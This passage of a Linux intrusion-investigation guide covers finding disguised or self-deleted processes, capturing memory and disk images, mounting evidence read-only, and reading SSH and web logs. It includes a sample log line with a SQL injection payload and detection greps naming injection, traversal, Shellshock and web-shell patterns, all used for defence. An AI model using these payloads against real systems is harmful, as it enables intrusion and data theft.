* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
